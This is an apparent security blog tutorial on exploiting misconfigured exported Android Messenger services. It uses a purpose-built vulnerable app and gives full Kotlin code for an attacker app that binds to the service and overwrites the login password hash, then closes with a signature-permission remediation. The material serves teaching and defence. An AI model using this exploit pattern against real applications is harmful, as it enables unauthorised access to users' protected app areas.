Exploiting Exported Services: IPC Messenger
Hello everyone! It’s alright
here. In this article we will explore the concepts of exported components, bound services, and IPC (Inter-Process Communication) in Android, what are the risks associated to them and how we can exploit them when misconfigured. I will share a vulnerable application based on a real life example I encountered during my daily job.
Prepare your Android knowledge and let’s get started.
What is a Service
A Service
is an application component used to perform actions in background. A service does not run on a separate process or a separate thread and does not need a user interface. They are used for sending notifications, manage audio playback or create persistent connection between multiple processes for service-client communication. In this article we will focus our study on bound services used for inter-process communication.
Bound services are used to create a communication channel between app components or other processes and exchange data. This “channel” is created by calling bindService()
, which is handled by onBind()
callback.
Developers can use services inside the application context, but sometimes they are used across applications. In this case, services needs to be android:exported=true
. However, other applications installed on the device become authorized to interact with exported components, posing a security risk in some situations. To bind to an exported service, we need to write another application and call bindService()
method from that using an appropriate intent (implicit intents are deprecated in this case, so we need to write an explicit one).
IPC with Messsenger
As said before, this article focuses on inter-process communication using services. Developers can achieve that with a Messenger (or AIDL, not covered here). A Messenger implements a Handler used to manage callbacks coming from the client using handleMessage()
. When the Messenger instance is created, the server returns an IBinder to the client, which is used to instantiate the Messenger in the client side and to send Messages. You can see a detailed explanation here.
In this example, we consider the application with the Service as the server, and the application that connects to it the client.
The server application implements the Service similarly to this example.
MessengerService.kt
class MessengerService : Service() {
private lateinit var mMessenger: Messenger
internal class IncomingHandler(
looper: Looper,
context: Context,
private val applicationContext: Context = context.applicationContext
) : Handler(looper) {
override fun handleMessage(msg: Message) {
when (msg.what) {
MSG_SAY_HELLO -> {
Toast.makeText(
applicationContext, "hello!",
Toast.LENGTH_SHORT).show()
Log.d("MESSENGER","HELLO")
}
else -> super.handleMessage(msg)
}
}
}
override fun onBind(intent: Intent): IBinder {
Toast.makeText(applicationContext, "binding", Toast.LENGTH_SHORT).show()
mMessenger = Messenger(IncomingHandler(Looper.getMainLooper(),this))
return mMessenger.binder
}
}
AndroidManifest.xml
...
<service
android:name=".MessengerService"
android:enabled="true"
android:exported="true">
<intent-filter>
<action android:name="android.intent.action.MESSENGER" />
</intent-filter>
</service>
...
The client application connects to the service using the android.intent.action.MESSENGER
action with an explicit intent.
MainActivity.kt
class MainActivity : AppCompatActivity() {
private var mService: Messenger? = null
private var bound: Boolean = false
private val mConnection = object : ServiceConnection {
override fun onServiceConnected(className: ComponentName, service: IBinder) {
mService = Messenger(service)
bound = true
// we can now send messages
}
override fun onServiceDisconnected(className: ComponentName) {
mService = null
bound = false
}
}
override fun onStop() {
super.onStop()
if (bound) {
unbindService(mConnection)
bound = false
}
}
override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)
setContentView(R.layout.activity_main)
Intent("android.intent.action.MESSENGER")
.setPackage("com.alright.serviceserver")
.also { intent ->
val res = bindService(intent, mConnection, Context.BIND_AUTO_CREATE)
Log.e("bound", res.toString())
}
}
}
Vulnerable Scenario
Now that we have defined the components we can see how to exploit this weakness in a real-life example. What I found during my studies was an application that exposed a service to other application in order to execute some actions on the app. The purpose of this setup was for remotely control the app from the web. There was another application that served as a “proxy” from the web to the victim application. This application implements a Service that receives messages and, based on msg.what
, it performs action. This application had a reserved area protected by a password, which could be updated remotely using the application “proxy”. Here is the design.
As you may have already noticed, there is a problem with this design: any other application can act as the “proxy” and send messages to the Victim Service App.
Exploitation
I created a similar vulnerable application and the attacker application: you can find it on github. If you want to solve it by yourself, just install the ServiceServer app and try to code the ServiceClient app.
The application has a simple login page, where we can try to input some parameters, but we are not able to find any info here.
Let’s start by having a look at the application with Jadx-gui
. The app has three main classes: MainActivity, AdminPageActivity and MessengerService.
The MainActivity initialize the sharedPreferences file with the username and the password hash of the login. Here we can see that the username is root
. In fact, if we try this username with a random password, we get a Toast message saying “Incorrect Password”. Half of the job done.
In this example, the original password is a sha256
hash, so we could crack it if the password is weak, but this is not the case (if you can crack it, let me know ahah). We have to find another way to bypass this page.
Let’s have a look at the MessengerService class, where the Service is implemented. Inside the AndroidManifest.xml we can see that this service is exported
and accepts an intent with action name android.intent.action.MESSENGER
.
The Service implements the handleMessage()
callback and accepts two type of what
:
1
: creates a Toast message and displays it2
: updates the password with a new hash
You probably already know where we are going: we need to send a message to the service with a known password hash in order to update the password and enter the administration page. How we can do it?
We need to create a malicious application that interacts with the service, binds to it, and sends a message containing the new password hash. Based on the information we detailed above, the process of creating the application should be quite easy. Here is an example of the code we can use.
MainActivity.kt
class MainActivity : AppCompatActivity() {
private var mService: Messenger? = null
private var bound: Boolean = false
private val mConnection = object : ServiceConnection {
override fun onServiceConnected(className: ComponentName, service: IBinder) {
mService = Messenger(service)
bound = true
updatePassword()
}
override fun onServiceDisconnected(className: ComponentName) {
mService = null
bound = false
}
}
fun updatePassword(){
if (!bound) return
val msg: Message = Message.obtain(null,2,0,0)
val data = Bundle()
data.putString("hash","2cf24dba5fb0a30e26e83b2ac5b9e29e1b161e5c1fa7425e73043362938b9824")
msg.data = data
try {
mService?.send(msg)
Toast.makeText(this,"Password Updated", Toast.LENGTH_SHORT)
}catch (e:RemoteException){
e.printStackTrace()
}
}
override fun onStop() {
super.onStop()
if (bound) {
unbindService(mConnection)
bound = false
}
}
override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)
setContentView(R.layout.activity_main)
Intent("android.intent.action.MESSENGER").setPackage("com.alright.serviceserver").also { intent ->
val res = bindService(intent, mConnection, Context.BIND_AUTO_CREATE)
Log.e("bound", res.toString())
}
}
}
From Android 11, we also need to add a queries
tag inside the attacker application, in order to list the application we want to interact to.
AndroidManifest.xml
<queries>
<package android:name="com.alright.serviceserver" />
</queries>
By running the application, we will see a Toast message saying that the password has been updated. The attack is done! We updated the password with a well-known hash, so we can easily log in into the application.
Remediation
Ok, the attack is cool, and the easy solution could be to not export the Service. However, it is necessary to export it when we need to do IPC between application. So, how can we protect our application?
As shown in the Android Developers page, we can add a row inside the Manifest to only allow applications with the same signature to access and bind to the service (use signature-level
permission inside android:protectionLevel
).
And that’s all for today! If you have any questions or doubts just let me know:)
References
- https://developer.android.com/reference/android/app/Service
- https://developer.android.com/develop/background-work/services
- https://developer.android.com/develop/background-work/services/bound-services#kotlin
- https://developer.android.com/develop/background-work/services/bound-services#Messenger
- https://proandroiddev.com/ipc-techniques-for-android-messenger-3e8555a32167
- https://github.com/perihanmirkelam/IPC-Examples
- https://developer.android.com/privacy-and-security/security-tips#services
- https://github.com/alright21/exploit-messenger